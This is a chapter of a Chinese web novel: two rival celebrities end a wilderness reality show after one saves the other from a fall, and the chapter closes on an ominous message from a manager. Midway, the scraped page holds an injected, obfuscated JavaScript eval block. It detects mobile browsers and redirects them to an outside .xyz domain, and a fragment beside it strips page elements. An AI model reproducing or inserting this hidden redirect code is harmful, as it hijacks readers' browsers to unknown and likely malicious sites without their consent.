他们就这样对视着。
空气好像凝固了。山风吹过,吹不走那股子劫后余生的紧绷和说不清道不明的尴尬。
周韫玉看着霍既明那双眼睛。
里面有什么?惊魂未定?茫然?还是……那让他讨厌的嘲讽?
他分辨不清,也不想分辨。心脏还在狂跳,手臂上有些被树枝挂过的地方火辣辣地疼,提醒着他刚才有多惊险。
他率先移开了目光。垂下眼,盯着自己还在微微发抖的手。
指尖冰凉。
他们回到空地,节目组的人呼啦啦全围上来了。
导演那张胖脸吓得煞白,汗珠子顺着鬓角往下淌。他挤开人群,冲到周韫玉面前,声音都劈叉了:
“韫玉!韫玉!你怎么样?!伤着哪儿没有?!哎哟我的祖宗!吓死我了!真吓死我了!”他一边说,一边上下其手,想检查又不敢碰,急得团团转。
导演是真吓坏了。再糊的明星,那也是条人命!要真在他节目里出了事,别说节目黄了,他这辈子估计都得搭进去!
想想那后果,他腿肚子都转筋。
周韫玉被一群人围着,七嘴八舌,吵得他脑袋更晕了。
他摆摆手,声音哑得厉害:“没……没事……导演……真没事……就……就是吓着了……”
他在一个还算平整的树桩坐下。有人递过来保温杯,里面是温水。他接过来,手抖得差点洒了,勉强喝了一口,温热的水滑过干涩的喉咙,稍微舒服了点。
周韫玉能感觉到,自己的双腿还在不受控制地小幅度颤抖,肌肉绷得死紧。刚才那失重下坠的感觉,那陡坡冰冷的死亡气息,仿佛还萦绕在身侧。他闭上眼,深呼吸,试图压下那股灭顶的恐惧。
导演蹲在他旁边,愁眉苦脸,一个劲地挠他那没剩几根头发的脑袋。他看看周韫玉惨白的脸,再看看那条差点“吃人”的坡道,心里天人交战。
最后,他搓着手,小心翼翼地问:“韫玉啊……你看……你这情况……是继续录?还是……咱先退出拍摄?去医院好好检查一下?身体……吃得消吗?”
退出?
周韫玉猛地睁开眼。都走到这一步了!最后一天!最后几个小时!他就能离开这鬼地方,离开霍既明那个糟心玩意儿!现在退出?功亏一篑?不可能!
他深吸一口气,压下喉咙的干涩和身体的虚软,努力扯出一个笑容,虽然那笑容比哭还难看:
“不用,导演。我没事。能坚持。录完吧。”
导演看着他强撑的样子,叹了口气,也不好再劝:
“行……行吧。那你……千万注意!不舒服立刻说!别硬撑!”他站起身,招呼工作人员,“快快快!换路线!换那条修好的大路过去!安全第一!安全第一!”
另一边,大刘正围着霍既明转悠。
“小霍呀?小霍?”大刘拍着霍既明的肩膀,一脸担忧,“咋啦?魂儿丢啦?刚才吓着了吧?看你脸色也不太好。”
霍既明没说话。他低着头,眉头拧得死紧,盯着自己的手看。那双手,骨节分明,刚才……就是这双手,用尽全力,死死地把周韫玉拉回来?
他下意识地攥了攥拳头。手臂肌肉还在隐隐作痛,是用力过猛的后遗症。
为什么?
他为什么会扑过去?
他明明……那么讨厌周韫玉。讨厌他那副装模作样的样子,讨厌他网上那些黑料,讨厌他看人时那种疏离又疲惫的眼神……他巴不得离他远远的。
可刚才,看到周韫玉倒下去的那一瞬间,他脑子里一片空白,身体却像离弦的箭一样冲了出去。本能?条件反射?还是……别的什么?
霍既明想不通。他烦躁地甩甩头,像是要把这混乱的思绪甩出去。他抬起头,目光不由自主地飘向树桩那边。
周韫玉正低着头,捧着保温杯小口喝水,侧脸苍白,带着一种劫后余生的脆弱。导演在旁边絮絮叨叨。
霍既明的眉头皱得更紧了。一股说不清道不明的烦躁涌上心头。不应该啊……他再次低头,看了看自己的手。那上面,仿佛还残留着刚才抱住周韫玉时,对方身体剧烈颤抖的触感。
真是……见鬼了!
修整过后,队伍再次出发。这次走的是节目组紧急调来的另一条路——一条被修缮过的、相对平坦宽阔的林间土路。虽然也坑坑洼洼,但比起刚才那条“死亡之路”,简直算得上是康庄大道。
阳光透过树叶缝隙洒下来,斑斑驳驳。空气里是泥土和草木的气息。
三个人沉默地走着。气氛比之前更古怪。
大刘试图活跃气氛:“哎呀,这路好走多了!是吧?哈哈!”没人接话。他挠挠头,又找话题,“看这天儿,多好!录完就能回去吃顿好的了!”依旧沉默。大刘彻底蔫了,闷头走路。
周韫玉蔫蔫的,没什么精神。身体虚,加上惊吓过度,他只想快点结束。霍既明则板着一张俊脸,活像别人欠他八百万,眼神放空,不知道在想什么。
好在路好走,他们紧赶慢赶,总算在规定时间内,抵达了最终的集合地点——一片林间空地。
空地上已经有人了。温呈和彭玲,两位固定嘉宾,正坐在折叠椅上休息。看到他们三个人一起出现,两人都露出了惊讶的表情。
“咦?怎么就你们仨?肖梦曦呢?”彭玲站起身问道。
大刘叹了口气,解释道:“唉,别提了。梦曦脚崴了,挺严重的,昨天就退出录制,先送回去了。”
“哦……”温呈和彭玲了然地点点头,没再多问。目光扫过蔫头耷脑的周韫玉和一脸冰霜的霍既明,两人交换了一个心照不宣的眼神。这气氛……有点微妙啊。
周韫玉作为飞行嘉宾,他的荒野之旅到这里就算正式结束了。他需要先行离开。
他深吸一口气,打起精神,准备跟其他人道别。
跟温呈和彭玲,本来就不熟。他走过去,客气地点点头:“温哥,玲姐,我先走了。这几天,多谢照顾。”语气疏离有礼。
温呈和彭玲也客气地点头回应:“一路顺风。”“保重身体。”态度不冷不热。
轮到跟大刘告别。
大刘这糙汉子,感情倒是挺外露。他一把拉住周韫玉,张开双臂就来了个结结实实的熊抱!力气大得差点把周韫玉勒岔气。
“小周啊!这就走了?哥真舍不得你!”大刘拍着周韫玉的后背,砰砰响,“你这孩子,挺好的!真的!网上那些瞎话别往心里去!回去好好养病!把身体养得棒棒的!听见没?”
周韫玉被他拍得咳嗽了两声,心里却有点暖。大刘的关心是真心的,他能感觉到。他扯出一个还算真诚的笑:“知道了,刘哥。谢谢你。你也保重。”
“必须的!哈哈!”大刘松开他,又用力拍了拍他的肩膀。
最后,是霍既明。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438364|185001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
周韫玉看着几步开外那个杵着的高大身影,心里一阵别扭。跟他问好?说“再见”?还拥抱?想想就……恶心!
但是……这家伙刚才好歹救了自己一命。虽然动机不明,态度恶劣,但结果是好的。
算了。就当还人情。
周韫玉磨磨蹭蹭地走过去,站在霍既明面前。霍既明也看着他,眼神还是那副死样子,看不出情绪。
周韫玉硬着头皮,张开手臂,动作僵硬得像机器人,象征性又飞快地抱了霍既明一下。
一触即分,快得像被烫到。
霍既明呢?
跟个木头桩子似的杵在那儿,一动不动。任由周韫玉抱了一下,连眼皮都没眨一下。脸上表情都没变,还是那副“生人勿近”的拽样。
就在周韫玉以为这尴尬的告别仪式终于结束,准备转身走人的时候——
霍既明突然微微倾身,凑近他耳边。动作快得旁人几乎没察觉。
一个冰冷、带着浓浓讥诮的声音,用只有他们两人能听到的音量,清晰地钻进周韫玉的耳朵里:
“真、装。”
周韫玉身体瞬间僵住了,一股邪火“噌”地直冲脑门。
这混蛋,果然狗嘴里吐不出象牙!刚对他升起的那一丁点感激瞬间烟消云散。
他猛地抬起头,脸上瞬间挂起一个标准的、四十五度角的、无比灿烂的假笑。
同时,在霍既明看不到的背后,周韫玉那只垂着的手,快如闪电地伸过去,在霍既明腰侧的软肉上,用指甲狠狠地掐了一下!力道十足!
“嘶——!”霍既明猝不及防,疼得倒吸一口冷气,眼皮狠狠抽动了两下!
他猛地瞪向周韫玉,眼神凶狠得像要吃人!
周韫玉依旧维持着那完美的假笑,眼神无辜又温和,仿佛刚才掐人的不是他。
霍既明胸口剧烈起伏,拳头都攥紧了。他死死瞪着周韫玉那张虚伪的笑脸,几秒钟后,最终只是从鼻子里重重地“哼”了一声,别开了脸。
没发作。
周韫玉心里冷笑一声,收回假笑,转身,头也不回地走向节目组安排送他离开的车。背影挺得笔直。
一路颠簸。汽车在崎岖的山路上摇晃,然后转乘破旧的长途巴士,最后又挤上了人满为患的公交车。周韫玉戴着口罩和帽子,缩在角落,疲惫感像潮水一样将他淹没。身体难受,心里也乱糟糟的。
霍既明那张欠揍的脸和那句“真装”在脑子里反复回放。
终于,他坐上了返程的飞机。
机舱里空调开得很足。他靠在椅背上,闭上眼睛,长长地舒了一口气。总算……结束了。远离了那座山,远离了那个节目,也……暂时远离了霍既明。
飞机还没起飞。他摸出手机,开了机。信号恢复的瞬间,微信消息的提示音就叮叮咚咚响个不停。
他点开置顶的联系人——袁西,他的经纪人。
手指在屏幕上敲打:“我上飞机了。大概两点到。”
消息几乎是秒回。
袁西:“我在机场。”
周韫玉心里刚升起一丝暖意,想着袁西还挺够意思,亲自来接机。
紧接着,第二条信息跳了出来:
“感觉不是很对,你做好心理准备。”
周韫玉脸上的那点暖意瞬间凝固。
心里“咯噔”一下,像是被什么东西猛地攥紧了。